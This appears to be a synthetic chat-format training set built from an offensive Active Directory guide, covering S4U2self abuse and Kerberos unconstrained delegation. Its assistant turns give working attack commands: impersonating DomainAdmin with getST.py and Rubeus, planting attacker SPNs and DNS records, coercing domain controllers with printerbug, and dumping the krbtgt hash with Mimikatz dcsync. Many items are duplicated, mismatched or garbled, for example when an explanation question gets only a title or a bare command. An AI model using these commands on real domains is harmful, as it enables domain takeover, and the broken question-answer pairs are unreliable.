> [!TIP]
> This technique can also be used when receiving TGTs during a Kerberos Unconstrained Delegation abuse in order to gain local admin privileges over the victims.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does S4U2self abuse - 2. Obtain a Service Ticket work?

Response:
The TGT can then be used along with S4U2self to obtain a Service Ticket impersonating another domain user on the machine.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getST.py (Python) script can be used for the purpose. If needed, .kirbi files can be converted to .ccache (cf. Pass the Ticket).

``bash
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
``

:::

Once a Service Ticket is received, it can be used with pass-the-ticket/pass-the-cache to obtain access to oneself as the "DomainAdmin" (the user can be changed in the request. Attackers should select a domain user which has local admin rights on the machine).

> [!TIP]
> This technique can also be used when receiving TGTs during a Kerberos Unconstrained Delegation abuse in order to gain local admin privileges over the victims.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for S4U2self abuse - 2. Obtain a Service Ticket

[Assistant]
The TGT can then be used along with S4U2self to obtain a Service Ticket impersonating another domain user on the machine.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getST.py (Python) script can be used for the purpose. If needed, .kirbi files can be converted to .ccache (cf. Pass the Ticket).

``bash
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
``

:::

Once a Service Ticket is received, it can be used with pass-the-ticket/pass-the-cache to obtain access to oneself as the "DomainAdmin" (the user can be changed in the request. Attackers should select a domain user which has local admin rights on the machine).

> [!TIP]
> This technique can also be used when receiving TGTs during a Kerberos Unconstrained Delegation abuse in order to gain local admin privileges over the victims.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for S4U2self abuse - 2. Obtain a Service Ticket

Response:
The TGT can then be used along with S4U2self to obtain a Service Ticket impersonating another domain user on the machine.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket's getST.py (Python) script can be used for the purpose. If needed, .kirbi files can be converted to .ccache (cf. Pass the Ticket).

``bash
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
`

=== Windows

From Windows machines, Rubeus (C#) can be used for that purpose.

`powershell
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
``

:::

Once a Service Ticket is received, it can be used with pass-the-ticket/pass-the-cache to obtain access to oneself as the "DomainAdmin" (the user can be changed in the request. Attackers should select a domain user which has local admin rights on the machine).

> [!TIP]
> This technique can also be used when receiving TGTs during a Kerberos Unconstrained Delegation abuse in order to gain local admin privileges over the victims.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the export command to s4u2self abuse - 2. obtain a service ticket

[Assistant]
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the export command to s4u2self abuse - 2. obtain a service ticket

Response:
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for S4U2self abuse - 2. Obtain a Service Ticket?

[Assistant]
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for S4U2self abuse - 2. Obtain a Service Ticket?

Response:
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `export KRB5CCNAME="/path/to/ticket.ccache"`?

[Assistant] This command is used for s4u2self abuse - 2. obtain a service ticket. 2. Obtain a Service Ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `export KRB5CCNAME="/path/to/ticket.ccache"`?

Response: This command is used for s4u2self abuse - 2. obtain a service ticket. 2. Obtain a Service Ticket


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Rubeus.exe command for s4u2self abuse - 2. obtain a service ticket

[Assistant] Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Rubeus.exe command for s4u2self abuse - 2. obtain a service ticket

Response: Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for S4U2self abuse - 2. Obtain a Service Ticket?

[Assistant] Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"`?

[Assistant] This command is used for s4u2self abuse - 2. obtain a service ticket. 2. Obtain a Service Ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"`?

Response: This command is used for s4u2self abuse - 2. obtain a service ticket. 2. Obtain a Service Ticket


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of (KUD) Unconstrained - Theory

[Assistant]
If an account (user or computer), with unconstrained delegations privileges, is compromised, an attacker must wait for a privileged user to authenticate on it (or force it) using Kerberos. The attacker service will receive an ST (service ticket) containing the user's TGT. That TGT will be used by the service as a proof of identity to obtain access to a target service as the target user. Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

> [!WARNING]
> If the coerced account is "is sensitive and cannot be delegated" or a member of the "Protected Users" group, its TGT will not be delegated in the service ticket used for authentication against the attacker-controlled KUD account.

> [!TIP]
> Nota bene: the native, RID 500, "Administrator" account doesn't benefit from that restriction, even if it's added to the Protected Users group (source: sensepost.com).

> [!NOTE]
> Unconstrained delegation abuses are usually combined with an MS-RPRN abuse (printerbug), MS-EFSR abuse (petitpotam), MS-FSRVP abuse (shadowcoerce), r PrivExchange to gain domain admin privileges.

![](<assets/KUD mindmap.png>)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of (KUD) Unconstrained - Theory

Response:
If an account (user or computer), with unconstrained delegations privileges, is compromised, an attacker must wait for a privileged user to authenticate on it (or force it) using Kerberos. The attacker service will receive an ST (service ticket) containing the user's TGT. That TGT will be used by the service as a proof of identity to obtain access to a target service as the target user. Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

> [!WARNING]
> If the coerced account is "is sensitive and cannot be delegated" or a member of the "Protected Users" group, its TGT will not be delegated in the service ticket used for authentication against the attacker-controlled KUD account.

> [!TIP]
> Nota bene: the native, RID 500, "Administrator" account doesn't benefit from that restriction, even if it's added to the Protected Users group (source: sensepost.com).

> [!NOTE]
> Unconstrained delegation abuses are usually combined with an MS-RPRN abuse (printerbug), MS-EFSR abuse (petitpotam), MS-FSRVP abuse (shadowcoerce), r PrivExchange to gain domain admin privileges.

![](<assets/KUD mindmap.png>)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for (KUD) Unconstrained - Theory

[Assistant]
If an account (user or computer), with unconstrained delegations privileges, is compromised, an attacker must wait for a privileged user to authenticate on it (or force it) using Kerberos. The attacker service will receive an ST (service ticket) containing the user's TGT. That TGT will be used by the service as a proof of identity to obtain access to a target service as the target user. Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

> [!WARNING]
> If the coerced account is "is sensitive and cannot be delegated" or a member of the "Protected Users" group, its TGT will not be delegated in the service ticket used for authentication against the attacker-controlled KUD account.

> [!TIP]
> Nota bene: the native, RID 500, "Administrator" account doesn't benefit from that restriction, even if it's added to the Protected Users group (source: sensepost.com).

> [!NOTE]
> Unconstrained delegation abuses are usually combined with an MS-RPRN abuse (printerbug), MS-EFSR abuse (petitpotam), MS-FSRVP abuse (shadowcoerce), r PrivExchange to gain domain admin privileges.

![](<assets/KUD mindmap.png>)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for (KUD) Unconstrained - Theory

Response:
If an account (user or computer), with unconstrained delegations privileges, is compromised, an attacker must wait for a privileged user to authenticate on it (or force it) using Kerberos. The attacker service will receive an ST (service ticket) containing the user's TGT. That TGT will be used by the service as a proof of identity to obtain access to a target service as the target user. Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

> [!WARNING]
> If the coerced account is "is sensitive and cannot be delegated" or a member of the "Protected Users" group, its TGT will not be delegated in the service ticket used for authentication against the attacker-controlled KUD account.

> [!TIP]
> Nota bene: the native, RID 500, "Administrator" account doesn't benefit from that restriction, even if it's added to the Protected Users group (source: sensepost.com).

> [!NOTE]
> Unconstrained delegation abuses are usually combined with an MS-RPRN abuse (printerbug), MS-EFSR abuse (petitpotam), MS-FSRVP abuse (shadowcoerce), r PrivExchange to gain domain admin privileges.

![](<assets/KUD mindmap.png>)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about (KUD) Unconstrained - Practice?

[Assistant]
::: tabs

=== From the attacker machine (UNIX-like)

In order to abuse the unconstrained delegations privileges of an account, an attacker must add his machine to its SPNs (i.e. of the compromised account) and add a DNS entry for that name.

This allows targets (e.g. Domain Controllers or Exchange servers) to authenticate back to the attacker machine.

All of this can be done from UNIX-like systems with addspn, dnstool and krbrelayx (Python).

> [!TIP]
> When attacking accounts able to delegate without constraints, there are two major scenarios
>
> * the account is a computer: computers can edit their own SPNs via the msDS-AdditionalDnsHostName attribute. Since ticket received by krbrelayx will be encrypted with AES256 (by default), attackers will need to either supply the right AES256 key for the unconstrained delegations account (--aesKey argument) or the salt and password (--krbsalt and --krbpass arguments).
> * the account is a user: users can't edit their own SPNs like computers do. Attackers need to control an account operator (or any other user that has the needed privileges) to edit the user's SPNs. Moreover, since tickets received by krbrelayx will be encrypted with RC4, attackers will need to either supply the NT hash (-hashes argument) or the salt and password (--krbsalt and --krbpass arguments)

> [!SUCCESS]
> By default, the salt is always
>
> * For users: uppercase FQDN + case sensitive username = DOMAIN.LOCALuser
> * For computers: uppercase FQDN + hardcoded host text + lowercase FQDN hostname without the trailing $ = DOMAIN.LOCALhostcomputer.domain.local\
> (using DOMAIN.LOCAL\computer$ account)

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about (KUD) Unconstrained - Practice?

Response:
::: tabs

=== From the attacker machine (UNIX-like)

In order to abuse the unconstrained delegations privileges of an account, an attacker must add his machine to its SPNs (i.e. of the compromised account) and add a DNS entry for that name.

This allows targets (e.g. Domain Controllers or Exchange servers) to authenticate back to the attacker machine.

All of this can be done from UNIX-like systems with addspn, dnstool and krbrelayx (Python).

> [!TIP]
> When attacking accounts able to delegate without constraints, there are two major scenarios
>
> * the account is a computer: computers can edit their own SPNs via the msDS-AdditionalDnsHostName attribute. Since ticket received by krbrelayx will be encrypted with AES256 (by default), attackers will need to either supply the right AES256 key for the unconstrained delegations account (--aesKey argument) or the salt and password (--krbsalt and --krbpass arguments).
> * the account is a user: users can't edit their own SPNs like computers do. Attackers need to control an account operator (or any other user that has the needed privileges) to edit the user's SPNs. Moreover, since tickets received by krbrelayx will be encrypted with RC4, attackers will need to either supply the NT hash (-hashes argument) or the salt and password (--krbsalt and --krbpass arguments)

> [!SUCCESS]
> By default, the salt is always
>
> * For users: uppercase FQDN + case sensitive username = DOMAIN.LOCALuser
> * For computers: uppercase FQDN + hardcoded host text + lowercase FQDN hostname without the trailing $ = DOMAIN.LOCALhostcomputer.domain.local\
> (using DOMAIN.LOCAL\computer$ account)

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do (KUD) Unconstrained - Practice

[Assistant]
::: tabs

=== From the attacker machine (UNIX-like)

In order to abuse the unconstrained delegations privileges of an account, an attacker must add his machine to its SPNs (i.e. of the compromised account) and add a DNS entry for that name.

This allows targets (e.g. Domain Controllers or Exchange servers) to authenticate back to the attacker machine.

All of this can be done from UNIX-like systems with addspn, dnstool and krbrelayx (Python).

> [!TIP]
> When attacking accounts able to delegate without constraints, there are two major scenarios
>
> * the account is a computer: computers can edit their own SPNs via the msDS-AdditionalDnsHostName attribute. Since ticket received by krbrelayx will be encrypted with AES256 (by default), attackers will need to either supply the right AES256 key for the unconstrained delegations account (--aesKey argument) or the salt and password (--krbsalt and --krbpass arguments).
> * the account is a user: users can't edit their own SPNs like computers do. Attackers need to control an account operator (or any other user that has the needed privileges) to edit the user's SPNs. Moreover, since tickets received by krbrelayx will be encrypted with RC4, attackers will need to either supply the NT hash (-hashes argument) or the salt and password (--krbsalt and --krbpass arguments)

> [!SUCCESS]
> By default, the salt is always
>
> * For users: uppercase FQDN + case sensitive username = DOMAIN.LOCALuser
> * For computers: uppercase FQDN + hardcoded host text + lowercase FQDN hostname without the trailing $ = DOMAIN.LOCALhostcomputer.domain.local\
> (using DOMAIN.LOCAL\computer$ account)

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do (KUD) Unconstrained - Practice

Response:
::: tabs

=== From the attacker machine (UNIX-like)

In order to abuse the unconstrained delegations privileges of an account, an attacker must add his machine to its SPNs (i.e. of the compromised account) and add a DNS entry for that name.

This allows targets (e.g. Domain Controllers or Exchange servers) to authenticate back to the attacker machine.

All of this can be done from UNIX-like systems with addspn, dnstool and krbrelayx (Python).

> [!TIP]
> When attacking accounts able to delegate without constraints, there are two major scenarios
>
> * the account is a computer: computers can edit their own SPNs via the msDS-AdditionalDnsHostName attribute. Since ticket received by krbrelayx will be encrypted with AES256 (by default), attackers will need to either supply the right AES256 key for the unconstrained delegations account (--aesKey argument) or the salt and password (--krbsalt and --krbpass arguments).
> * the account is a user: users can't edit their own SPNs like computers do. Attackers need to control an account operator (or any other user that has the needed privileges) to edit the user's SPNs. Moreover, since tickets received by krbrelayx will be encrypted with RC4, attackers will need to either supply the NT hash (-hashes argument) or the salt and password (--krbsalt and --krbpass arguments)

> [!SUCCESS]
> By default, the salt is always
>
> * For users: uppercase FQDN + case sensitive username = DOMAIN.LOCALuser
> * For computers: uppercase FQDN + hardcoded host text + lowercase FQDN hostname without the trailing $ = DOMAIN.LOCALhostcomputer.domain.local\
> (using DOMAIN.LOCAL\computer$ account)

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)

[Assistant] addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)

Response: addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)?

[Assistant] addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)?

Response: addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs work?

[Assistant] dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs work?

Response: dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs during a pentest?

[Assistant] dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs during a pentest?

Response: dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys

[Assistant] krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys

Response: krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys

[Assistant] krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys

Response: krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe PrinterBug, PetitPotam, PrivExchange, ... in the context of penetration testing

[Assistant] printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe PrinterBug, PetitPotam, PrivExchange, ... in the context of penetration testing

Response: printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for PrinterBug, PetitPotam, PrivExchange, ...

[Assistant] printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for PrinterBug, PetitPotam, PrivExchange, ...

Response: printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of There should be a krbtgt ccache file in the current directory. And it can be used by

[Assistant]
export KRB5CCNAME=pwd/'krbtgt.ccache'
``

> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error sayingCiphertext integrity failed.) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an authentication coercion attack (e.g. PrinterBug, PrivExchange, PetitPotam) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with Pass the Ticket (to act as the victim) or with S4U2self abuse (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.

`bash
Rubeus.exe monitor /interval:5
`

Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

`bash
Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt
`

Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with Mimikatz, to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of There should be a krbtgt ccache file in the current directory. And it can be used by

Response:
export KRB5CCNAME=pwd/'krbtgt.ccache'
``

> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error sayingCiphertext integrity failed.) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an authentication coercion attack (e.g. PrinterBug, PrivExchange, PetitPotam) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with Pass the Ticket (to act as the victim) or with S4U2self abuse (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.

`bash
Rubeus.exe monitor /interval:5
`

Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

`bash
Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt
`

Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with Mimikatz, to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through There should be a krbtgt ccache file in the current directory. And it can be used by

[Assistant]
export KRB5CCNAME=pwd/'krbtgt.ccache'
``

> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error sayingCiphertext integrity failed.) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an authentication coercion attack (e.g. PrinterBug, PrivExchange, PetitPotam) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with Pass the Ticket (to act as the victim) or with S4U2self abuse (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.

`bash
Rubeus.exe monitor /interval:5
`

Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.

`bash
Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt
`

Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.

Once the TGT is injected, it can natively be used when accessing a service. For example, with Mimikatz, to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
``

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through There should be a krbtgt ccache file in the current directory. And it can be used by

Response:
export KRB5CCNAME=pwd/'krbtgt.ccache'
``

> [!CAUTION]
> In case, for some reason, attacking a Domain Controller doesn't work (i.e. error sayingCiphertext integrity failed.) try to attack others (if you're certain the credentials you supplied were correct). Some replication and propagation issues could get in the way.

Once the krbrelayx listener is ready, an authentication coercion attack (e.g. PrinterBug, PrivExchange, PetitPotam) can be operated. The listener will then receive a Kerberos authentication, hence a ST, containing a TGT.

The TGT will then be usable with Pass the Ticket (to act as the victim) or with S4U2self abuse (to obtain local admin privileges over the victim).

=== From the compromised computer (Windows)

Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.

`bash
Rubeus.exe monitor /interval:5
`

